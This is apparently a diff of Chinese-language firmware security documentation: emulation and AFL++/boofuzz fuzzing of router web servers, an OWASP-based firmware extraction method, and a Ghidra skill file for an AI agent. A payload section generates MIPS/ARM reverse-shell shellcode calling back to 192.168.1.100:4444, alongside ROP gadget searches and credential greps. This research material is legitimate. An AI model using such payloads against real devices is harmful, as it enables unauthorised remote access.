# 编辑 fat.config 指向 Firmadyne 路径
|
|
160
|
+
vim fat.config
|
|
161
|
+
|
|
162
|
+
# 跑
|
|
163
|
+
sudo ./fat.py /path/to/firmware.bin
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
FAT 自动做完 extractor → getArch → makeImage → inferNetwork → run,一条命令到仿真 shell。
|
|
167
|
+
|
|
168
|
+
适合快速验证;遇到坑还是回到 Firmadyne 手工流程。
|
|
169
|
+
|
|
170
|
+
## 仿真态做 AFL++ Fuzz
|
|
171
|
+
|
|
172
|
+
### 三种模式选哪个
|
|
173
|
+
|
|
174
|
+
| 模式 | 速度 | 适用 |
|
|
175
|
+
|------|------|------|
|
|
176
|
+
| 源码编译 (afl-clang-lto) | 最快 | 有源码或能自行编译 |
|
|
177
|
+
| QEMU mode (-Q) | 慢 5-10 倍 | 仅有目标 binary |
|
|
178
|
+
| Persistent mode | 比 QEMU 快 5-10 倍 | 需要简单 harness 改造 |
|
|
179
|
+
|
|
180
|
+
### AFL++ QEMU mode(对仿真二进制 fuzz)
|
|
181
|
+
|
|
182
|
+
```bash
|
|
183
|
+
# 1. 准备 AFL++ qemu 后端(架构对应)
|
|
184
|
+
cd ~/tools/aflpp/qemu_mode
|
|
185
|
+
CPU_TARGET=mipsel ./build_qemu_support.sh
|
|
186
|
+
|
|
187
|
+
# 2. 准备种子语料
|
|
188
|
+
mkdir -p in/
|
|
189
|
+
echo "GET / HTTP/1.0" > in/seed1
|
|
190
|
+
|
|
191
|
+
# 3. 启动 fuzz
|
|
192
|
+
afl-fuzz -Q -i in/ -o out/ -- \
|
|
193
|
+
qemu-mipsel-static -L squashfs-root/ \
|
|
194
|
+
squashfs-root/usr/sbin/httpd
|
|
195
|
+
|
|
196
|
+
# 4. 监控覆盖率
|
|
197
|
+
afl-whatsup out/
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
### Persistent mode(速度 10x)
|
|
201
|
+
|
|
202
|
+
```c
|
|
203
|
+
// harness.c:把目标主循环改造为 input-driven
|
|
204
|
+
#include <stdio.h>
|
|
205
|
+
__AFL_FUZZ_INIT();
|
|
206
|
+
|
|
207
|
+
int main() {
|
|
208
|
+
__AFL_INIT();
|
|
209
|
+
unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF;
|
|
210
|
+
while (__AFL_LOOP(10000)) {
|
|
211
|
+
int len = __AFL_FUZZ_TESTCASE_LEN;
|
|
212
|
+
process_request(buf, len); // 目标函数
|
|
213
|
+
}
|
|
214
|
+
}
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
```bash
|
|
218
|
+
afl-clang-lto -o harness harness.c target.c
|
|
219
|
+
afl-fuzz -i in/ -o out/ -- ./harness
|
|
220
|
+
```
|
|
221
|
+
|
|
222
|
+
### afl-clang-lto 重编译(有源码)
|
|
223
|
+
|
|
224
|
+
```bash
|
|
225
|
+
# 源码 in tree
|
|
226
|
+
export CC=afl-clang-lto CXX=afl-clang-lto++
|
|
227
|
+
export AFL_USE_ASAN=1
|
|
228
|
+
make clean && make
|
|
229
|
+
afl-fuzz -i in/ -o out/ -- ./target @@
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
## 网络服务 fuzz:boofuzz
|
|
233
|
+
|
|
234
|
+
针对自定义二进制协议或仿真起来的服务。
|
|
235
|
+
|
|
236
|
+
```bash
|
|
237
|
+
pip3 install boofuzz
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
```python
|
|
241
|
+
# fuzz_httpd.py
|
|
242
|
+
from boofuzz import *
|
|
243
|
+
|
|
244
|
+
session = Session(target=Target(connection=TCPSocketConnection("192.168.0.1", 80)))
|
|
245
|
+
|
|
246
|
+
s_initialize(name="http_get")
|
|
247
|
+
s_string("GET", fuzzable=False)
|
|
248
|
+
s_delim(" ", fuzzable=False)
|
|
249
|
+
s_string("/", fuzzable=True)
|
|
250
|
+
s_string(" HTTP/1.0\r\n", fuzzable=False)
|
|
251
|
+
s_string("Host: 192.168.0.1\r\n", fuzzable=True)
|
|
252
|
+
s_string("\r\n", fuzzable=False)
|
|
253
|
+
|
|
254
|
+
session.connect(s_get("http_get"))
|
|
255
|
+
session.fuzz()
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
```bash
|
|
259
|
+
sudo python3 fuzz_httpd.py
|
|
260
|
+
# 配合 ./scratch/${IID}/run.sh 监控 console,看 crash
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
## ARM / MIPS payload 速查
|
|
264
|
+
|
|
265
|
+
```bash
|
|
266
|
+
# pwntools 生成 reverse shell
|
|
267
|
+
python3 - <<'EOF'
|
|
268
|
+
from pwn import *
|
|
269
|
+
|
|
270
|
+
# MIPS little-endian
|
|
271
|
+
context.clear(arch='mips', endian='little', os='linux')
|
|
272
|
+
sc = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
|
|
273
|
+
print(asm(sc).hex())
|
|
274
|
+
|
|
275
|
+
# ARM little-endian
|
|
276
|
+
context.clear(arch='arm', endian='little', os='linux')
|
|
277
|
+
sc = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
|
|
278
|
+
print(asm(sc).hex())
|
|
279
|
+
EOF
|
|
280
|
+
|
|
281
|
+
# ROP gadget 搜索
|
|
282
|
+
ropper --file ./httpd --search "system"
|
|
283
|
+
ROPgadget --binary ./httpd --only "pop|ret"
|
|
284
|
+
```
|
|
285
|
+
|
|
286
|
+
## 调试器接入
|
|
287
|
+
|
|
288
|
+
```bash
|
|
289
|
+
# 用户态 + gdbserver 模式
|
|
290
|
+
qemu-mipsel-static -g 1234 -L squashfs-root/ ./vuln_binary
|
|
291
|
+
|
|
292
|
+
# 另一终端
|
|
293
|
+
gdb-multiarch ./vuln_binary
|
|
294
|
+
(gdb) set architecture mips
|
|
295
|
+
(gdb) target remote :1234
|
|
296
|
+
(gdb) b *0x00401234
|
|
297
|
+
(gdb) c
|
|
298
|
+
|
|
299
|
+
# 全系统仿真接 gdb
|
|
300
|
+
# 改 ./scratch/${IID}/run.sh,qemu-system-mips 加参数:
|
|
301
|
+
# -s -S
|
|
302
|
+
# 然后
|
|
303
|
+
gdb-multiarch
|
|
304
|
+
(gdb) target remote :1234
|
|
305
|
+
```
|
|
306
|
+
|
|
307
|
+
## 一键 fuzz 工作流
|
|
308
|
+
|
|
309
|
+
```bash
|
|
310
|
+
#!/bin/bash
|
|
311
|
+
FW=$1
|
|
312
|
+
IID=$2
|
|
313
|
+
|
|
314
|
+
# 1. 仿真起来
|
|
315
|
+
~/tools/fat/fat.py "$FW" &
|
|
316
|
+
sleep 30
|
|
317
|
+
|
|
318
|
+
# 2. 拿到 IP
|
|
319
|
+
IP=$(grep "br0" ~/tools/firmadyne/scratch/$IID/qemu.final.serial.log | head -1)
|
|
320
|
+
|
|
321
|
+
# 3. 网络 fuzz
|
|
322
|
+
python3 fuzz_httpd.py "$IP"
|
|
323
|
+
|
|
324
|
+
# 4. 同时 AFL++ 跑用户态
|
|
325
|
+
afl-fuzz -Q -i in/ -o out/ -- \
|
|
326
|
+
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd &
|
|
327
|
+
|
|
328
|
+
wait
|
|
329
|
+
```
|
|
330
|
+
|
|
331
|
+
## 引用
|
|
332
|
+
|
|
333
|
+
- Firmadyne: https://github.com/firmadyne/firmadyne
|
|
334
|
+
- FAT: https://github.com/attify/firmware-analysis-toolkit
|
|
335
|
+
- AFL++: https://github.com/AFLplusplus/AFLplusplus
|
|
336
|
+
- boofuzz: https://github.com/jtpereyda/boofuzz
|
|
337
|
+
- pwntools: https://github.com/Gallopsled/pwntools
|
|
@@ -0,0 +1,285 @@
|
|
|
1
|
+
# 固件提取方法论(OWASP FSTM Stage 4)
|
|
2
|
+
|
|
3
|
+
参考:https://scriptingxss.gitbook.io/firmware-security-testing-methodology
|
|
4
|
+
|
|
5
|
+
固件提取是整条链的瓶颈。binwalk 一把成功是运气,多数固件需要换工具组合拳。
|
|
6
|
+
|
|
7
|
+
## 工具对比
|
|
8
|
+
|
|
9
|
+
| 工具 | 语言 | 优势 | 劣势 |
|
|
10
|
+
|------|------|------|------|
|
|
11
|
+
| binwalk v3 | Rust | 速度快、并发提取、内存稳 | 插件生态比 v2 小 |
|
|
12
|
+
| binwalk v2 | Python | 插件丰富、兼容性好 | 慢、易爆内存、维护暂停 |
|
|
13
|
+
| unblob | Python + 多语言 handler | 格式覆盖全(300+)、可作为库 | 安装依赖多 |
|
|
14
|
+
| jefferson | Python | 专攻 JFFS2 提取 | 单一用途 |
|
|
15
|
+
| ubi_reader | Python | UBI / UBIFS 标准方案 | 大镜像内存占用高 |
|
|
16
|
+
| 7z / unsquashfs / cramfsck | 原生 | 已知格式直接解 | 需要先确认偏移 |
|
|
17
|
+
|
|
18
|
+
选择策略:
|
|
19
|
+
|
|
20
|
+
```text
|
|
21
|
+
未知固件 → binwalk v3 → 失败 → unblob → 仍失败 → 手工 hexdump + 熵分段
|
|
22
|
+
已知 JFFS2 → jefferson 直接上
|
|
23
|
+
已知 UBI → ubi_reader 直接上
|
|
24
|
+
已知 SquashFS 且偏移已知 → dd + unsquashfs
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
## 标准流程
|
|
28
|
+
|
|
29
|
+
### 1. 头部识别
|
|
30
|
+
|
|
31
|
+
```bash
|
|
32
|
+
binwalk firmware.bin
|
|
33
|
+
# 期望看到的关键字段:
|
|
34
|
+
# uImage header / DECIMAL signature / TRX / CHK / SquashFS / JFFS2 / UBI
|
|
35
|
+
|
|
36
|
+
file firmware.bin
|
|
37
|
+
hexdump -C firmware.bin | head -32
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
vendor header 常见模式:
|
|
41
|
+
|
|
42
|
+
```text
|
|
43
|
+
TRX: HDR0 (Asus / Linksys / Netgear 旧款)
|
|
44
|
+
CHK: 2A 23 24 5E (TP-Link 部分)
|
|
45
|
+
DLOB: 4D 5A 4F 41 (D-Link 加密头)
|
|
46
|
+
uImage: 27 05 19 56
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
### 2. 熵分析
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
binwalk -E firmware.bin
|
|
53
|
+
# 输出 firmware.bin.png
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
判读:
|
|
57
|
+
|
|
58
|
+
| 熵区间 | 含义 |
|
|
59
|
+
|--------|------|
|
|
60
|
+
| 0.0 - 0.3 | 全 0 / 填充 / 未使用 flash 区 |
|
|
61
|
+
| 0.3 - 0.7 | 代码段 / 字符串 / 未压缩数据 |
|
|
62
|
+
| 0.7 - 0.95 | 压缩数据(gzip / lzma / xz / squashfs) |
|
|
63
|
+
| 0.95 - 1.0 | 加密 / 高熵压缩(注意:高熵不一定加密) |
|
|
64
|
+
|
|
65
|
+
### 3. 递归提取
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
# binwalk v3
|
|
69
|
+
binwalk -e firmware.bin # 单层提取
|
|
70
|
+
binwalk -Me firmware.bin # 递归提取(matryoshka)
|
|
71
|
+
|
|
72
|
+
# binwalk v2(旧版兼容)
|
|
73
|
+
binwalk2 --run-as=root -eM firmware.bin
|
|
74
|
+
|
|
75
|
+
# unblob
|
|
76
|
+
unblob -d out/ firmware.bin
|
|
77
|
+
unblob --depth 10 -d out/ firmware.bin # 深度递归
|
|
78
|
+
|
|
79
|
+
# 输出结构(典型)
|
|
80
|
+
# _firmware.bin.extracted/
|
|
81
|
+
# ├── 0.uImage
|
|
82
|
+
# ├── 80.gzip
|
|
83
|
+
# └── 1A0000.squashfs
|
|
84
|
+
# └── squashfs-root/
|
|
85
|
+
# ├── bin/ etc/ usr/ lib/ sbin/ ...
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
### 4. 文件系统分类处理
|
|
89
|
+
|
|
90
|
+
#### SquashFS
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
unsquashfs -d rootfs/ rootfs.squashfs
|
|
94
|
+
|
|
95
|
+
# squashfs 用了非标 magic?指定偏移
|
|
96
|
+
unsquashfs -d rootfs/ -offset 0x100 rootfs.squashfs
|
|
97
|
+
|
|
98
|
+
# LZMA 变种(老 Realtek SDK 常见)
|
|
99
|
+
sasquatch rootfs.squashfs # squashfs-tools-ng 的兄弟项目
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
非标 SquashFS 是路由器固件最常见的坑,原版 unsquashfs 解不开时换 sasquatch。
|
|
103
|
+
|
|
104
|
+
#### JFFS2
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
jefferson rootfs.jffs2 -d rootfs/
|
|
108
|
+
|
|
109
|
+
# 大端 JFFS2
|
|
110
|
+
jefferson -v -b rootfs.jffs2 -d rootfs/
|
|
111
|
+
|
|
112
|
+
# 失败兜底:手工 mount
|
|
113
|
+
sudo modprobe mtdram total_size=32768 erase_size=128
|
|
114
|
+
sudo modprobe mtdblock
|
|
115
|
+
sudo dd if=rootfs.jffs2 of=/dev/mtdblock0
|
|
116
|
+
sudo mount -t jffs2 /dev/mtdblock0 /mnt/jffs2
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
#### UBI / UBIFS
|
|
120
|
+
|
|
121
|
+
```bash
|
|
122
|
+
# 提取 UBI volume
|
|
123
|
+
ubireader_extract_images rootfs.ubi -o out/
|
|
124
|
+
|
|
125
|
+
# 直接提文件
|
|
126
|
+
ubireader_extract_files rootfs.ubi -o rootfs/
|
|
127
|
+
|
|
128
|
+
# UBIFS 单独存在
|
|
129
|
+
ubireader_utils_info rootfs.ubifs
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
UBI 镜像常见坑:peb_size / leb_size 不标准,需要手工指定:
|
|
133
|
+
|
|
134
|
+
```bash
|
|
135
|
+
ubireader_extract_files -p 131072 -l 126976 rootfs.ubi -o rootfs/
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
#### CramFS
|
|
139
|
+
|
|
140
|
+
```bash
|
|
141
|
+
cramfsck -x rootfs/ rootfs.cramfs
|
|
142
|
+
|
|
143
|
+
# binwalk 自带的 sasquatch 也能解
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
#### YAFFS2(Android 老系统 / 部分嵌入式)
|
|
147
|
+
|
|
148
|
+
```bash
|
|
149
|
+
git clone https://github.com/ehlers/unyaffs2
|
|
150
|
+
unyaffs2 rootfs.yaffs2 rootfs/
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
#### 多 partition(A/B 分区固件)
|
|
154
|
+
|
|
155
|
+
```bash
|
|
156
|
+
binwalk firmware.bin
|
|
157
|
+
# 看到多个 SquashFS 偏移 0x100000 和 0x800000
|
|
158
|
+
dd if=firmware.bin of=part_a.bin bs=1 skip=$((0x100000)) count=$((0x700000))
|
|
159
|
+
dd if=firmware.bin of=part_b.bin bs=1 skip=$((0x800000))
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
## 加密固件兜底
|
|
163
|
+
|
|
164
|
+
### 判断是否真加密
|
|
165
|
+
|
|
166
|
+
```bash
|
|
167
|
+
binwalk -E firmware.bin
|
|
168
|
+
# 全段熵 ~0.99 且无 magic → 大概率加密 / 全段压缩
|
|
169
|
+
|
|
170
|
+
# 看是否有 vendor wrapper
|
|
171
|
+
xxd firmware.bin | head -8
|
|
172
|
+
# 看是否能找到任何已知 magic 在偏移 0x100 / 0x200 / 0x1000
|
|
173
|
+
binwalk --offset 256 firmware.bin
|
|
174
|
+
binwalk --offset 4096 firmware.bin
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
### 处理路径
|
|
178
|
+
|
|
179
|
+
```text
|
|
180
|
+
1. 找官方升级固件,对比加密 vs 明文版本
|
|
181
|
+
2. UART 拿到 U-Boot → 内存 dump 解密后的 image
|
|
182
|
+
3. SPI flash 物理 dump → 包含 bootloader 段
|
|
183
|
+
4. 逆 bootloader / 升级工具找密钥
|
|
184
|
+
5. 利用已公开同芯片解密方案
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
### 内存 dump(U-Boot)
|
|
188
|
+
|
|
189
|
+
```bash
|
|
190
|
+
# 串口接入
|
|
191
|
+
picocom -b 115200 /dev/ttyUSB0
|
|
192
|
+
|
|
193
|
+
# 启动时按键中断 → 进入 U-Boot
|
|
194
|
+
# 加载固件到内存
|
|
195
|
+
=> tftpboot 0x80000000 firmware.bin
|
|
196
|
+
|
|
197
|
+
# 等设备内部解密完,dump 解密后的镜像
|
|
198
|
+
=> md.b 0x80000000 0x800000 # 看一眼内容
|
|
199
|
+
=> save tftp 0x80000000 dump.bin 0x800000
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
## 失败兜底套路
|
|
203
|
+
|
|
204
|
+
### hexdump 找 magic
|
|
205
|
+
|
|
206
|
+
```bash
|
|
207
|
+
# 全文件搜常见 magic
|
|
208
|
+
binwalk --signature firmware.bin
|
|
209
|
+
|
|
210
|
+
# 手工搜 SquashFS magic
|
|
211
|
+
xxd firmware.bin | grep -E "(hsqs|sqsh)"
|
|
212
|
+
|
|
213
|
+
# 手工搜 gzip magic
|
|
214
|
+
xxd firmware.bin | grep -E "1f 8b 08"
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
### 按熵分段切片
|
|
218
|
+
|
|
219
|
+
```bash
|
|
220
|
+
# 输出熵 CSV
|
|
221
|
+
binwalk -E --save firmware.bin
|
|
222
|
+
|
|
223
|
+
# 手工切高熵段
|
|
224
|
+
dd if=firmware.bin of=segment_1.bin bs=4096 skip=256 count=512
|
|
225
|
+
file segment_1.bin
|
|
226
|
+
binwalk segment_1.bin
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
### 坏块处理
|
|
230
|
+
|
|
231
|
+
```bash
|
|
232
|
+
# SPI flash dump 有 ECC 错误 → ddrescue
|
|
233
|
+
ddrescue -d -r3 /dev/sdb dump.bin dump.log
|
|
234
|
+
|
|
235
|
+
# NAND flash dump 含 OOB → 剥离
|
|
236
|
+
nanddump --noecc --omitoob -f clean.bin /dev/mtd0
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
### 多次 dump 取多数票
|
|
240
|
+
|
|
241
|
+
```bash
|
|
242
|
+
# SPI flash 物理读不稳,dump 3 次取交集
|
|
243
|
+
flashrom -p ch341a_spi -r dump1.bin
|
|
244
|
+
flashrom -p ch341a_spi -r dump2.bin
|
|
245
|
+
flashrom -p ch341a_spi -r dump3.bin
|
|
246
|
+
sha256sum dump*.bin
|
|
247
|
+
# 不一致 → 重读 / 降速 / 换 clip
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
## 提取后立即做的事
|
|
251
|
+
|
|
252
|
+
```bash
|
|
253
|
+
cd squashfs-root/
|
|
254
|
+
|
|
255
|
+
# 1. 看根目录结构
|
|
256
|
+
ls -la
|
|
257
|
+
# 期望:bin/ etc/ lib/ sbin/ usr/ var/ proc/ ...
|
|
258
|
+
|
|
259
|
+
# 2. 找 init / 启动脚本
|
|
260
|
+
cat etc/inittab 2>/dev/null
|
|
261
|
+
cat etc/init.d/rcS 2>/dev/null
|
|
262
|
+
ls etc/init.d/
|
|
263
|
+
|
|
264
|
+
# 3. 找硬编码凭据
|
|
265
|
+
grep -rE "(password|passwd|admin|root):" etc/passwd etc/shadow 2>/dev/null
|
|
266
|
+
|
|
267
|
+
# 4. 找 Web 服务入口
|
|
268
|
+
find . -name "httpd" -o -name "lighttpd" -o -name "mini_httpd" -o -name "uhttpd"
|
|
269
|
+
find . -path "*cgi-bin*" -type f
|
|
270
|
+
|
|
271
|
+
# 5. 找 telnet / ssh / debug
|
|
272
|
+
find . -name "telnetd" -o -name "dropbear" -o -name "sshd"
|
|
273
|
+
|
|
274
|
+
# 6. 看 banner / 版本
|
|
275
|
+
cat etc/banner etc/issue etc/version 2>/dev/null
|
|
276
|
+
strings bin/busybox | head -3
|
|
277
|
+
```
|
|
278
|
+
|
|
279
|
+
## 引用
|
|
280
|
+
|
|
281
|
+
- OWASP FSTM Stage 4: https://scriptingxss.gitbook.io/firmware-security-testing-methodology
|
|
282
|
+
- binwalk v3: https://github.com/ReFirmLabs/binwalk
|
|
283
|
+
- unblob: https://github.com/onekey-sec/unblob
|
|
284
|
+
- jefferson: https://github.com/sviehb/jefferson
|
|
285
|
+
- ubi_reader: https://github.com/onekey-sec/ubi_reader
|
|
@@ -0,0 +1,98 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: ghidra-reverse
|
|
3
|
+
description: "Free/open reverse engineering with Ghidra (headless or GUI): decompilation, cross-references, scripting, and optional Ghidra MCP workflows when IDA is unavailable."
|
|
4
|
+
risk: safe
|
|
5
|
+
source: "https://github.com/zhaoxuya520/reverse-skill"
|
|
6
|
+
source_repo: "zhaoxuya520/reverse-skill"
|
|
7
|
+
source_type: community
|
|
8
|
+
date_added: "2026-08-25"
|
|
9
|
+
license: "MIT"
|
|
10
|
+
license_source: "https://github.com/zhaoxuya520/reverse-skill/blob/main/LICENSE"
|
|
11
|
+
---
|
|
12
|
+
# Ghidra Reverse Engineering
|
|
13
|
+
## When to Use
|
|
14
|
+
|
|
15
|
+
- Static analysis of binaries without an IDA license.
|
|
16
|
+
- Bulk headless decompilation or scripted analysis across many binaries.
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
## 适用场景
|
|
20
|
+
|
|
21
|
+
- 无 IDA 许可证时的主逆向入口
|
|
22
|
+
- 批量 headless 分析 / CI 中反编译
|
|
23
|
+
- Ghidra 脚本(Java/Python Jython/PyGhidra)自动化
|
|
24
|
+
- 与 `binary-diff` / `patch-diff-exploit` 的 ghidriff 联动
|
|
25
|
+
|
|
26
|
+
## 与 IDA 分工
|
|
27
|
+
|
|
28
|
+
| 需求 | 优先 |
|
|
29
|
+
|------|------|
|
|
30
|
+
| 已有 IDA MCP 深挖 | `ida-reverse/` |
|
|
31
|
+
| 开源 / 批量 / 教学 | **本 skill** |
|
|
32
|
+
| 仅 CLI 快速侦察 | `radare2/` |
|
|
33
|
+
|
|
34
|
+
## 工作流
|
|
35
|
+
|
|
36
|
+
### 1. 项目与自动分析
|
|
37
|
+
|
|
38
|
+
```text
|
|
39
|
+
□ 新建 Project → Import 文件 → Analyze(默认分析器)
|
|
40
|
+
□ 记录语言/编译器识别结果与基址
|
|
41
|
+
□ 标记入口、导出表、字符串 xref
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
### 2. 关键函数
|
|
45
|
+
|
|
46
|
+
```text
|
|
47
|
+
□ 从字符串 / 导入 API 反查
|
|
48
|
+
□ Decompile 窗口还原算法
|
|
49
|
+
□ 重命名函数/变量;写 Plate comment
|
|
50
|
+
□ 需要动态时交接 Frida/GDB(reverse-engineering 动态章)
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
### 3. Headless(批量)
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
# 示例:analyzeHeadless 路径因安装而异,MUST 从 tool-index 取
|
|
57
|
+
analyzeHeadless /path/to/project Proj -import sample.bin -postScript ExportDecomp.py
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
### 4. MCP(若已配置)
|
|
61
|
+
|
|
62
|
+
```text
|
|
63
|
+
□ 确认 ghidra MCP 端口(常见 8765,以 tool-index 为准)
|
|
64
|
+
□ 用 MCP 工具拉反编译 / xrefs,禁止猜端口
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
## 工具链
|
|
68
|
+
|
|
69
|
+
| 工具 | 用途 | 自举 |
|
|
70
|
+
|------|------|------|
|
|
71
|
+
| Ghidra | 反编译主工具 | 手动 release / 包管理器 |
|
|
72
|
+
| ghidra-mcp | AI 桥 | bootstrap 能力名 `ghidra-mcp` |
|
|
73
|
+
| ghidriff | 补丁差分 | 见 `patch-diff-exploit` |
|
|
74
|
+
|
|
75
|
+
## 参考
|
|
76
|
+
|
|
77
|
+
- `references/ghidra-cheatsheet.md`
|
|
78
|
+
- `../ida-reverse/` `../radare2/` `../binary-diff/`
|
|
79
|
+
|
|
80
|
+
## 路由上下文
|
|
81
|
+
|
|
82
|
+
**上游**: MASTER R22
|
|
83
|
+
**下游**: 动态验证 → Frida/GDB;利用 → `pwn-chain`
|
|
84
|
+
**同级**: `ida-reverse`(商业深挖)
|
|
85
|
+
|
|
86
|
+
## 任务完成自检
|
|
87
|
+
|
|
88
|
+
- [ ] 是否基于真实 Ghidra/tool-index 路径?
|
|
89
|
+
- [ ] 是否标注函数地址与重命名?
|
|
90
|
+
- [ ] 是否有可复现步骤?
|
|
91
|
+
- [ ] Checklist / journal?
|
|
92
|
+
|
|
93
|
+
## Limitations
|
|
94
|
+
|
|
95
|
+
- Decompiler output is less polished than IDA's for some architectures.
|
|
96
|
+
- Large firmware images may need significant RAM and patience.
|
|
97
|
+
|
|
98
|
+
> Adapted from [zhaoxuya520/reverse-skill](https://github.com/zhaoxuya520/reverse-skill) (MIT).
|